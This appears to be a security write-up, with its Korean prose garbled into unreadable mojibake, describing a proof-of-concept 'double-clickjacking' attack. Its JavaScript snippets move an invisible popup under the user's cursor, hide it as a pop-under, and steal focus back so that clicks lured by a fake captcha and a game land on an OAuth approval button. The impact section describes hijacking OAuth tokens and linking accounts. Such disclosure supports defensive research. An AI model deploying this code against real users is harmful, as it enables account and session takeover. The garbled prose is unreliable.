์์ฝ
์ฃผ์ : ๋ค์ํ ๋ธ๋ผ์ฐ์ ํธ๋ฆญ์ ๊ฒฐํฉํด “๋๋ธ ํด๋ฆญ์ฌํน(Double-Clickjacking)” ๊ณต๊ฒฉ์ ์๋ฒฝํ PoC๋ก ๊ตฌํ
ํต์ฌ ์์ด๋์ด
- ๋นํ์ฑ ํ์
์ฐฝ ์์น ์ ์ด :
window.movTo
๋ก ๋์ ๋ณด์ด์ง ์๋ ํ์ ์ ๋ง์ฐ์ค ์ปค์ ๋ฐ๋ก ์๋๋ก ์ฎ๊น
onclick = () => {
onclick = null;
w = window.open("/popup.html", "", "width=500,height=300");
w.onload = () => {
navbarHeight = w.outerHeight - w.innerHeight;
button = w.document.querySelector("button").getBoundingClientRect();
onmousemove = (e) => {
const x = e.screenX - button.x - button.width / 2;
const y = e.screenY - button.y - button.height / 2 - navbarHeight;
w.moveTo(x, y);
w.resizeTo(500, 300);
};
};
};
- Same-name ํฌ์ปค์ค ํ๋ณต :
window.open(’’, name)
ํธ์ถ๋ง์ผ๋ก ๊ธฐ์กด ํ์ ์ ๋ค์ ํฌ์ปค์ค๋ฅผ ๋ถ์ฌ - ์๋ Pop-under ์์ฑ : ์ฒซ ํด๋ฆญ ์ ํ์ ์ ๋์ด ๋ค ๊ณง๋ฐ๋ก ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์จ๊ฒจ ์ฌ์ฉ์๊ฐ ๋์น ๋ชป ์ฑ๊ฒ ํจ
<!-- index.html -->
<body onclick="x()">
<h1>Click Here</h1>
<script>
function x(){
let params = `width=300,height=300,left=-1000,top=-1000`;
open('//example.com', 'test', params);
location='./goog.html';
}
</script>
</body>
<!-- goog.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<title>PopUnder POC</title>
</head>
<body>
<h1>PopUnder POC</h1>
<div id="g_id_onload"
data-client_id="384756754840-qot2bab06l0kihekcu3h76iri7h75eat.apps.googleusercontent.com"
data-callback="handleCredentialResponse">
</div>
<div class="g_id_signin" data-type="standard"></div>
<script src="https://accounts.google.com/gsi/client" async defer></script>
<script>
function handleCredentialResponse(response) {
// Handle the signed-in user info here
console.log("Encoded JWT ID token: " + response.credential);
// You would typically send this token to your server for verification
}
</script>
</body>
</html>
- ๋ฐ๋ณต ํด๋ฆญ ์ ๋ : Flappy Bird ๊ฒ์ ๊ฐ์ UI๋ก ์ฌ์ฉ์์ ์ฐ์ ํด๋ฆญ์ ์ ๋ํด ์ต์ข ํด๋ฆญ์ ์น์ธ ๋ฒํผ์ ์ฐ๊ฒฐ
PoC ํ๋ก์ฐ
1. ์ด๊ธฐ ํด๋ฆญ
ํ์ ์์ฑ + ๊ณต๊ฒฉ์ ํ์ด์ง๋ก ๋ฆฌ๋ค์ด๋ ํธ → Pop-Under
captcha.contentWindow.checkbox.onclick = () => {
// 1) off-screen ๋น ๋ฌธ์ ํ์
์์ฑ (name="popup")
window.open(URL.createObjectURL(blob), "popup", "width=1,height=1,left=9999,top=9999");
// 2) ๋ฐ๋ก Google ๋ก๊ทธ์ธ ํ๋กฌํํธ ์คํ → ํ์
์ด ๋ค๋ก ๋ฐ๋ฆผ
triggerPrompt();
// 3) blur ๋ฐ์ ์ /game ์ผ๋ก ์ ํ
captcha.contentWindow.onblur = () => location = "/game";
};
ํด๋ฆญ ์ด๋ฒคํธ๊ฐ ๋ฐ์ํ๋ฉด ๋น ๋ฌธ์ ํ์ ์ ์์ฑํ๋ค. ์ด์ด์ Google ๋ก๊ทธ์ธ ํ๋กฌํํธ๋ฅผ ์คํํ์ฌ ์ง์ ์ ์์ฑ๋ ํ์ ์ด ๋ค๋ก ๋ฐ๋ฆฌ๊ฒ ๋๋ค. ๊ฒฐ๊ตญ Pop-Under๊ฐ ๋ฐ์ํ์ฌ, ์ฌ์ฉ์๊ฐ ๋์น ์ฑ๊ธฐ ์ด๋ ต๊ฒ๋๋ค.
ํด๋น ๊ธ์ ๊ฒฝ์ฐ๋ Cloudflare Captcha ํ์ด์ง๋ฅผ ํ์ฉํ์ฌ ์ฌ์ฉ์ ํด๋ฆญ์ ์ ๋ํ๋ค.
2. ์ปค์ ์ด๋ ์ถ์
onmousemove
์ด๋ฒคํธ๋ก ํ์ ์์น.ํฌ๊ธฐ ์กฐ์
// ๋ง์ฐ์ค ์์น๋ฅผ ์ ์ญ์ ๊ธฐ๋ก
document.addEventListener("mousemove", e => mouse = [e.screenX, e.screenY]);
// 500ms ์ฃผ๊ธฐ๋ก ๋ฒํผ ์์น์ ๋น๊ตํด ํ์
์ฌ๋ฐฐ์น
(async () => {
while (!done) {
await sleep(500);
if (mouseInsideButton()) continue;
// Same-origin hack: about:blank ๋ก ์ ํ → origin ํ๋ณด
w.location = "about:blank";
await until(() => { try { return w.origin; } catch{} });
// ๊ณ์ฐ๋ ์ขํ๋ก ํ์
์ด๋
const x = mouse[0] - button.x - button.width/2;
const y = mouse[1] - button.y - button.height/2 - navbarHeight;
w.moveTo(x, y);
w.resizeTo(POPUP_W, POPUP_H);
// ์๋ ๋์ ํ์ด์ง๋ก ๋ณต๊ท
w.location = TARGET;
lastMove = Date.now();
}
})();
moveTo
ํจ์๋ฅผ ํตํด ์ฃผ๊ธฐ์ ์ผ๋ก ํ์
์ฐฝ์ ๋ง์ฐ์ค ์ปค์ ์์น๋ก ์ด๋์ํจ๋ค. ๋ ์์ธํ๊ฒ๋ ํ์
์ฐฝ ์ ๋ฒํผ์ ์์น๋ฅผ ๊ณ์ฐํ์ฌ ์ปค์ ์์น๋ก ์ด๋์ํจ๋ค.
Cross-Origin ํ์
์ ๊ฒฝ์ฐ DOM์ ์ ๊ทผํ ์ ์๊ธฐ์, .location
์ ์ด์ฉํด Same-Origin ์ผ๋ก ์ด๋ → ๊ณ์ฐ๋ ์ขํ๋ก ํ์
์ด๋ → ๋ค์ ์๋ ๋์ ํ์ด์ง๋ก ๋ณต๊ทํ๋ ๊ณผ์ ์ ํตํด ์งํํ๋ค.
์ด๋ ๊ฒฐ๊ณผ์ ์ผ๋ก ์ฌ์ฉ์์ ํน์ ์ ๋ ฅ์ด ๋ฐ์ํ๋ ์๊ฐ, ์ฐฝ์ด ํฌ์ปค์ค ๋๋ฉฐ ์ปค์์ ์์นํ ๋ฒํผ์ด ๋๋ฆฌ๊ฒ ๋๋ ๊ฒฐ๊ณผ๋ฅผ ์ด๋๋ค.
3. ์ฐ์ ํด๋ฆญ ๊ฐ์ง
์ผ์ ํ์ ํด๋ฆญ ์ดํ
window.open(””, name)
์ผ๋ก ํฌ์ปค์ค ๊ฐ์ ์ด๋
if (level === TARGET_LEVEL) parent.postMessage("trigger", "*");
ํน์ ์กฐ๊ฑด(3๋จ๊ณ ํต๊ณผ)์ ๋ฌ์ฑํ๋ฉด postMessage(”trigger”, “*”)
๋ฅผ ๋ณด๋ธ๋ค.
window.addEventListener("message", async e => {
if (e.data === "trigger") {
// ํ์
ํฌ์ปค์ฑ & ์น์ธ ํด๋ฆญ ์ ๋
w = window.open("", "popup");
await until(() => w.closed);
location = "/";
}
})
window.open(””, “popup”)
๊ณผ ๊ฐ์ด ๊ธฐ์กด ์์ฑํ ํ์
๊ณผ ๋์ผํ ์ด๋ฆ์ ์ฐฝ์ ์ด๋ฉด, ํฌ์ปค์ค๊ฐ ํ๋ณต๋๋ ์ ์ ์ด์ฉํ์ฌ, ํ๊ฒ ์ฐฝ์ ํฌ์ปค์ฑ์ ํ๋ค.
4. ์ฌ์ฉ์ ์น์ธ ๋ฒํผ ํด๋ฆญ
๊ฐ์ชฝ๊ฐ์ด ๊ถํ ๋ถ์ฌ
๊ฒ์์ ํตํด ์ ๋ํ ์ฌ์ฉ์์ ๋ง์ง๋ง ํด๋ฆญ์ ํ์ ์น์ธ ๋ฒํผ์ ์ฐ๊ฒฐํ๋ค. ์ดํ ํ์ ์ ์ข ๋ฃํ์ฌ ์ฌ์ฉ์๊ฐ ๋์น ์ฑ๊ธฐ ์ ์ ๊ณต๊ฒฉ์ ์ข ๋ฃํ๋ค.
ํ์ ์ด ๋ ๊น์งํ ์ฌ์ด์ ์ฌ๋ผ์ง๊ธฐ์, ์ฌ์ฉ์๋ ํ์ ์ด ์ ๊น ๋ด๋ค๋ ์ฌ์ค์กฐ์ฐจ ์์์ฐจ๋ฆฌ๊ธฐ ํ๋ค๋ค.
์ต์ข ์์ฝ
๋ถ๋ฅ ํค์๋
- Cross-Origin Control Bypass
- Double-Clickjacking
- User Engagement & Stealth
Root Cause | ์ฌ์ฉ์์๊ฒ ๋ณด์ด๋ UI ์์์, ์ค์ ์ ๋ฌ๋๋ ์ด๋ฒคํธ๊ฐ์ ๋ถ์ผ์น |
์ทจ์ฝ์ ์ข ๋ฅ | Clickjacking |
๊ณต๊ฒฉ ๋ฐฉ์ | ๋์ ํ์ ํฌ์ปค์ค ํ์ด์ฌํน (Adaptive Popup Focus Hijacking) |
์ํฅ
๊ณ์ .์ธ์ ํ์ทจ
- OAuth/SSO ํ ํฐ์ ๊ฐ๋ก์ฑ ์ฌ์ฉ์์ ์๋น์ค ์ ๊ทผ ๊ถํ ํ์ทจ
- ํผํด์๊ฐ “์น์ธ”์ ํด๋ฆญํ๋ ์๊ฐ, ๊ณต๊ฒฉ์๋ OAuth ์ธ์ฆ ์ฝ๋๋ฅผ ๊ฐ๋ก์ฑ๋ค. ์ด ์ฝ๋๋ฅผ ์ด์ฉํด ์์ธ์ค ํ ํฐ์ ๋ฐ๊ธ๋ฐ์ผ๋ฉด, ํผํด์์ ์ด๋ฉ์ผ.์บ๋ฆฐ๋.ํ์ผ.๊ฒฐ์ ๊ธฐ๋ฅ ๋ฑ ๋ชจ๋ API ํธ์ถ ๊ถํ์ ์์ ์ฅ์ ํ๋ค. ํผํด์๋ ๋์ค์ ๋ก๊ทธ๋ ์๋ฆผ์์ ์ด์ ์งํ๋ฅผ ๋ฐ๊ฒฌํ๊ธฐ ์ ๊น์ง ๋ฌด๋จ ํ๋์ ์ ํ ๋์น์ฑ์ง ๋ชปํ๋ค.
- ์์ ๋ก๊ทธ์ธ ์ฐ๋ (Link Hijacking)
- ์ฌ์ฉ์๊ฐ “๊ตฌ๊ธ ๊ณ์ ์ฐ๋” ๋ฒํผ์ ํด๋ฆญํ๊ธฐ๋ง ํ๋ฉด, ํฌ๋ช iframe์ด ๋ฐฑ๊ทธ๋ผ์ด๋์์ ๊ณต๊ฒฉ์ ๊ณ์ ์ ํผํด์ ์๋น์ค์ ์ฐ๊ฒฐํ๋ค. ์ดํ ํผํด์๋ ๋ณธ์ธ๋ ๋ชจ๋ฅด๊ฒ ๊ณต๊ฒฉ์ ์์ ์์ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ๋๋ฉฐ, ๊ฐ์ธ ์ ๋ณด๋ฅผ ์ด๋.์์ , ๋ฉ์์ง ์ ์ก ๋ฑ ๊ณ์ ๋ด ๋ชจ๋ ํ๋์ด ๊ณต๊ฒฉ์์๊ฒ ํต์ ๋๋ค.